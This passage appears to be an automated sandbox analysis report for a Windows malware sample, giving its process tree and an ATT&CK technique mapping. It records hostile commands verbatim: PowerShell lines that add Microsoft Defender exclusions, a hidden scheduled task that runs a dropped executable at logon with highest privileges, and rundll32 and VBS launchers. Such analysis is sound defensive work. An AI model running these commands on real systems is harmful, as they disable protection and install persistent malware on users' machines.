                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\r3g41bdg.ob5" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=4264,i,4371780818125900009,632979621573172781,2097152 --field-trial-handle=2292,i,16201612191070196631,17541637237860751947,262144 --variations-seed-version --mojo-platform-channel-handle=5260 /prefetch:1
                                                                                                5⤵
                                                                                                  PID:7236
                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\r3g41bdg.ob5" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=4432,i,8666590798285166766,10663245750239956811,2097152 --field-trial-handle=2292,i,16201612191070196631,17541637237860751947,262144 --variations-seed-version --mojo-platform-channel-handle=5264 /prefetch:9
                                                                                                  5⤵
                                                                                                    PID:2872
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c powershell -C "Add-MpPreference -ExclusionExtension '.exe' -EA 0"
                                                                                                  4⤵
                                                                                                    PID:8524
                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                      powershell -C "Add-MpPreference -ExclusionExtension '.exe' -EA 0"
                                                                                                      5⤵
                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                      PID:8576
                                                                                                  • C:\Users\Admin\AppData\Local\MpDefenderCoreFolder\CoreWorker_cjnmQmKTOMnCzez.exe
                                                                                                    "C:\Users\Admin\AppData\Local\MpDefenderCoreFolder\CoreWorker_cjnmQmKTOMnCzez.exe"
                                                                                                    4⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Adds Run key to start application
                                                                                                    PID:8404
                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command " $action = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\MpDefenderCoreFolder\CoreWorker_cjnmQmKTOMnCzez.exe' $trigger = New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'CoreWorker_cjnmQmKTOMnCzez-121' -RunLevel Highest "
                                                                                                      5⤵
                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                      PID:7564
                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\MpDefenderCoreFolder'"
                                                                                                      5⤵
                                                                                                        PID:8128
                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\MpDefenderCoreFolder'"
                                                                                                          6⤵
                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                          PID:8160
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe""
                                                                                                    3⤵
                                                                                                      PID:5828
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe"
                                                                                                        4⤵
                                                                                                          PID:5720
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe"
                                                                                                            5⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                            PID:4436
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe""
                                                                                                        3⤵
                                                                                                          PID:3180
                                                                                                          • C:\Windows\explorer.exe
                                                                                                            explorer.exe "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe"
                                                                                                            4⤵
                                                                                                              PID:2104
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe""
                                                                                                            3⤵
                                                                                                            • System Binary Proxy Execution: Rundll32
                                                                                                            PID:4108
                                                                                                            • C:\Windows\system32\rundll32.exe
                                                                                                              rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe"
                                                                                                              4⤵
                                                                                                              • System Binary Proxy Execution: Rundll32
                                                                                                              PID:3040
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe"
                                                                                                                5⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                PID:3228
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe' -WindowStyle Hidden""
                                                                                                            3⤵
                                                                                                            • Hide Artifacts: Hidden Window
                                                                                                            PID:4764
                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                              powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe' -WindowStyle Hidden"
                                                                                                              4⤵
                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                              PID:3772
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe"
                                                                                                                5⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                PID:1564
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\launcher_1783137711768.vbs""
                                                                                                            3⤵
                                                                                                              PID:3820
                                                                                                              • C:\Windows\system32\wscript.exe
                                                                                                                wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\launcher_1783137711768.vbs"
                                                                                                                4⤵
                                                                                                                  PID:4760
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe
                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe"
                                                                                                                    5⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                    PID:692
                                                                                                          • C:\Windows\explorer.exe
                                                                                                            C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                            1⤵
                                                                                                            • Modifies registry class
                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                            PID:5656
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe"
                                                                                                              2⤵
                                                                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                              • Executes dropped EXE
                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                              • Checks processor information in registry
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              PID:2176
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --disable-gpu about:blank
                                                                                                                3⤵
                                                                                                                • Drops file in Windows directory
                                                                                                                • Enumerates system info in registry
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                PID:256
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7fff2fb2c728,0x7fff2fb2c734,0x7fff2fb2c740
                                                                                                                  4⤵
                                                                                                                    PID:3252
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1484,i,14298559015196993390,568225019824791275,524288 --field-trial-handle=2028,i,14601544613165138197,1238554448691795653,262144 --variations-seed-version --mojo-platform-channel-handle=2060 /prefetch:11
                                                                                                                    4⤵
                                                                                                                    • System Time Discovery
                                                                                                                    PID:2596
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1628,i,540292625237446267,17751725992238535938,262144 --field-trial-handle=2028,i,14601544613165138197,1238554448691795653,262144 --variations-seed-version --mojo-platform-channel-handle=2024 /prefetch:2
                                                                                                                    4⤵
                                                                                                                      PID:980
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2128,i,7799096119121817819,8098728827760043866,524288 --field-trial-handle=2028,i,14601544613165138197,1238554448691795653,262144 --variations-seed-version --mojo-platform-channel-handle=2680 /prefetch:13
                                                                                                                      4⤵
                                                                                                                        PID:4904
                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2772,i,18371923924888226123,18039263918664671024,2097152 --field-trial-handle=2028,i,14601544613165138197,1238554448691795653,262144 --variations-seed-version --mojo-platform-channel-handle=2780 /prefetch:1
                                                                                                                        4⤵
                                                                                                                          PID:5800
                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2788,i,16212354473310620978,7667893984988308679,2097152 --field-trial-handle=2028,i,14601544613165138197,1238554448691795653,262144 --variations-seed-version --mojo-platform-channel-handle=2804 /prefetch:1
                                                                                                                          4⤵
                                                                                                                            PID:3724
                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4572,i,15938162174679132115,13531491846534546747,524288 --field-trial-handle=2028,i,14601544613165138197,1238554448691795653,262144 --variations-seed-version --mojo-platform-channel-handle=4584 /prefetch:14
                                                                                                                            4⤵
                                                                                                                              PID:5600
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5372,i,12674649959368851874,15170696524273385460,524288 --field-trial-handle=2028,i,14601544613165138197,1238554448691795653,262144 --variations-seed-version --mojo-platform-channel-handle=5332 /prefetch:14
                                                                                                                              4⤵
                                                                                                                                PID:3340
                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5408,i,9263613141076212835,8642670138855914029,2097152 --field-trial-handle=2028,i,14601544613165138197,1238554448691795653,262144 --variations-seed-version --mojo-platform-channel-handle=5436 /prefetch:1
                                                                                                                                4⤵
                                                                                                                                  PID:5960
                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5428,i,3706072301419248214,9713188658603525604,2097152 --field-trial-handle=2028,i,14601544613165138197,1238554448691795653,262144 --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:1
                                                                                                                                  4⤵
                                                                                                                                    PID:824
                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --disable-gpu about:blank
                                                                                                                                  3⤵
                                                                                                                                  • Drops file in Windows directory
                                                                                                                                  • Enumerates system info in registry
                                                                                                                                  • Modifies registry class
                                                                                                                                  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                                  PID:4268
                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x25c,0x260,0x264,0x258,0x2c0,0x7fff3189c188,0x7fff3189c194,0x7fff3189c1a0
                                                                                                                                    4⤵
                                                                                                                                      PID:1124
                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --metrics-shmem-handle=1648,i,15024213788727214128,5154931737120270882,262144 --field-trial-handle=2620,i,225443766067443633,11987363074037927713,262144 --variations-seed-version --mojo-platform-channel-handle=2608 /prefetch:2
                                                                                                                                      4⤵
                                                                                                                                        PID:5068
                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1820,i,13869013038864441159,5976147465879020372,524288 --field-trial-handle=2620,i,225443766067443633,11987363074037927713,262144 --variations-seed-version --mojo-platform-channel-handle=2684 /prefetch:11
                                                                                                                                        4⤵
                                                                                                                                        • System Time Discovery
                                                                                                                                        PID:5084
                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2276,i,16287412133458976083,18293661240372835860,524288 --field-trial-handle=2620,i,225443766067443633,11987363074037927713,262144 --variations-seed-version --mojo-platform-channel-handle=3068 /prefetch:13
                                                                                                                                        4⤵
                                                                                                                                          PID:3416
                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3452,i,12473878470637492559,984116817724187326,2097152 --field-trial-handle=2620,i,225443766067443633,11987363074037927713,262144 --variations-seed-version --mojo-platform-channel-handle=3532 /prefetch:1
                                                                                                                                          4⤵
                                                                                                                                            PID:4448
                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3456,i,308712223797140018,2409045775763084877,2097152 --field-trial-handle=2620,i,225443766067443633,11987363074037927713,262144 --variations-seed-version --mojo-platform-channel-handle=3536 /prefetch:1
                                                                                                                                            4⤵
                                                                                                                                              PID:1948
                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4052,i,7274511975415891943,6964725378854816107,2097152 --field-trial-handle=2620,i,225443766067443633,11987363074037927713,262144 --variations-seed-version --mojo-platform-channel-handle=4596 /prefetch:1
                                                                                                                                              4⤵
                                                                                                                                                PID:1984
                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4100,i,9901366236113659215,17777101993258018988,2097152 --field-trial-handle=2620,i,225443766067443633,11987363074037927713,262144 --variations-seed-version --mojo-platform-channel-handle=4600 /prefetch:9
                                                                                                                                                4⤵
                                                                                                                                                  PID:3808
                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5064,i,7182629023988589918,15143593908068093054,524288 --field-trial-handle=2620,i,225443766067443633,11987363074037927713,262144 --variations-seed-version --mojo-platform-channel-handle=3656 /prefetch:14
                                                                                                                                                  4⤵
                                                                                                                                                    PID:6560
                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5356,i,8297451198984600142,293004964034107675,524288 --field-trial-handle=2620,i,225443766067443633,11987363074037927713,262144 --variations-seed-version --mojo-platform-channel-handle=5412 /prefetch:14
                                                                                                                                                    4⤵
                                                                                                                                                      PID:6336
                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5344,i,16317293327153432259,2956288276932079446,524288 --field-trial-handle=2620,i,225443766067443633,11987363074037927713,262144 --variations-seed-version --mojo-platform-channel-handle=5444 /prefetch:14
                                                                                                                                                      4⤵
                                                                                                                                                        PID:4388
                                                                                                                                                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                  1⤵
                                                                                                                                                    PID:3048
                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                    1⤵
                                                                                                                                                    • Modifies registry class
                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                    PID:5880
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe
                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe"
                                                                                                                                                      2⤵
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                      PID:1816
                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                    1⤵
                                                                                                                                                      PID:1032
                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                                                                      1⤵
                                                                                                                                                        PID:1884
                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                                                                        1⤵
                                                                                                                                                          PID:1416
                                                                                                                                                        • C:\Windows\System32\svchost.exe
                                                                                                                                                          C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                                                                          1⤵
                                                                                                                                                            PID:2104
                                                                                                                                                          • C:\Windows\system32\sihost.exe
                                                                                                                                                            sihost.exe
                                                                                                                                                            1⤵
                                                                                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                                                                                            PID:6536
                                                                                                                                                            • C:\Windows\explorer.exe
                                                                                                                                                              explorer.exe /LOADSAVEDWINDOWS
                                                                                                                                                              2⤵
                                                                                                                                                              • Boot or Logon Autostart Execution: Active Setup
                                                                                                                                                              • Enumerates connected drives
                                                                                                                                                              • Checks SCSI registry key(s)
                                                                                                                                                              • Modifies Internet Explorer settings
                                                                                                                                                              • Modifies registry class
                                                                                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                                                                                              • Suspicious use of SendNotifyMessage
                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                              PID:6896
                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                                            1⤵
                                                                                                                                                            • Modifies registry class
                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                            PID:4308
                                                                                                                                                          • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                                                                                                                                                            "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                                                                                                                                                            1⤵
                                                                                                                                                            • Modifies registry class
                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                            PID:4528

                                                                                                                                                          Network

                                                                                                                                                                MITRE ATT&CK Enterprise v16

                                                                                                                                                                Reconnaissance

                                                                                                                                                                Resource Development

                                                                                                                                                                Initial Access

                                                                                                                                                                Execution

                                                                                                                                                                Command and Scripting Interpreter

                                                                                                                                                                1
                                                                                                                                                                T1059

                                                                                                                                                                PowerShell

                                                                                                                                                                1
                                                                                                                                                                T1059.001

                                                                                                                                                                Persistence

                                                                                                                                                                Boot or Logon Autostart Execution

                                                                                                                                                                2
                                                                                                                                                                T1547

                                                                                                                                                                Active Setup

                                                                                                                                                                1
                                                                                                                                                                T1547.014

                                                                                                                                                                Registry Run Keys / Startup Folder

                                                                                                                                                                1
                                                                                                                                                                T1547.001

                                                                                                                                                                Privilege Escalation

                                                                                                                                                                Boot or Logon Autostart Execution

                                                                                                                                                                2
                                                                                                                                                                T1547

                                                                                                                                                                Active Setup

                                                                                                                                                                1
                                                                                                                                                                T1547.014

                                                                                                                                                                Registry Run Keys / Startup Folder

                                                                                                                                                                1
                                                                                                                                                                T1547.001

                                                                                                                                                                Defense Evasion

                                                                                                                                                                Hide Artifacts

                                                                                                                                                                3
                                                                                                                                                                T1564

                                                                                                                                                                File/Path Exclusions

                                                                                                                                                                1
                                                                                                                                                                T1564.012

                                                                                                                                                                Hidden Window

                                                                                                                                                                1
                                                                                                                                                                T1564.003

                                                                                                                                                                Ignore Process Interrupts

                                                                                                                                                                1
                                                                                                                                                                T1564.011

                                                                                                                                                                Impair Defenses

                                                                                                                                                                2
                                                                                                                                                                T1562

                                                                                                                                                                Disable or Modify Tools

                                                                                                                                                                2
                                                                                                                                                                T1562.001

                                                                                                                                                                Modify Registry

                                                                                                                                                                4
                                                                                                                                                                T1112

                                                                                                                                                                Obfuscated Files or Information

                                                                                                                                                                1
                                                                                                                                                                T1027

                                                                                                                                                                Command Obfuscation

                                                                                                                                                                1
                                                                                                                                                                T1027.010

                                                                                                                                                                System Binary Proxy Execution

                                                                                                                                                                1
                                                                                                                                                                T1218

                                                                                                                                                                Rundll32

                                                                                                                                                                1
                                                                                                                                                                T1218.011

                                                                                                                                                                Credential Access

                                                                                                                                                                Credentials from Password Stores

                                                                                                                                                                1
                                                                                                                                                                T1555

                                                                                                                                                                Credentials from Web Browsers

                                                                                                                                                                1
                                                                                                                                                                T1555.003

                                                                                                                                                                Unsecured Credentials

                                                                                                                                                                4
                                                                                                                                                                T1552

                                                                                                                                                                Credentials In Files

                                                                                                                                                                3
                                                                                                                                                                T1552.001

                                                                                                                                                                Credentials in Registry

                                                                                                                                                                1
                                                                                                                                                                T1552.002

                                                                                                                                                                Discovery

                                                                                                                                                                Browser Information Discovery

                                                                                                                                                                1
                                                                                                                                                                T1217

                                                                                                                                                                Peripheral Device Discovery

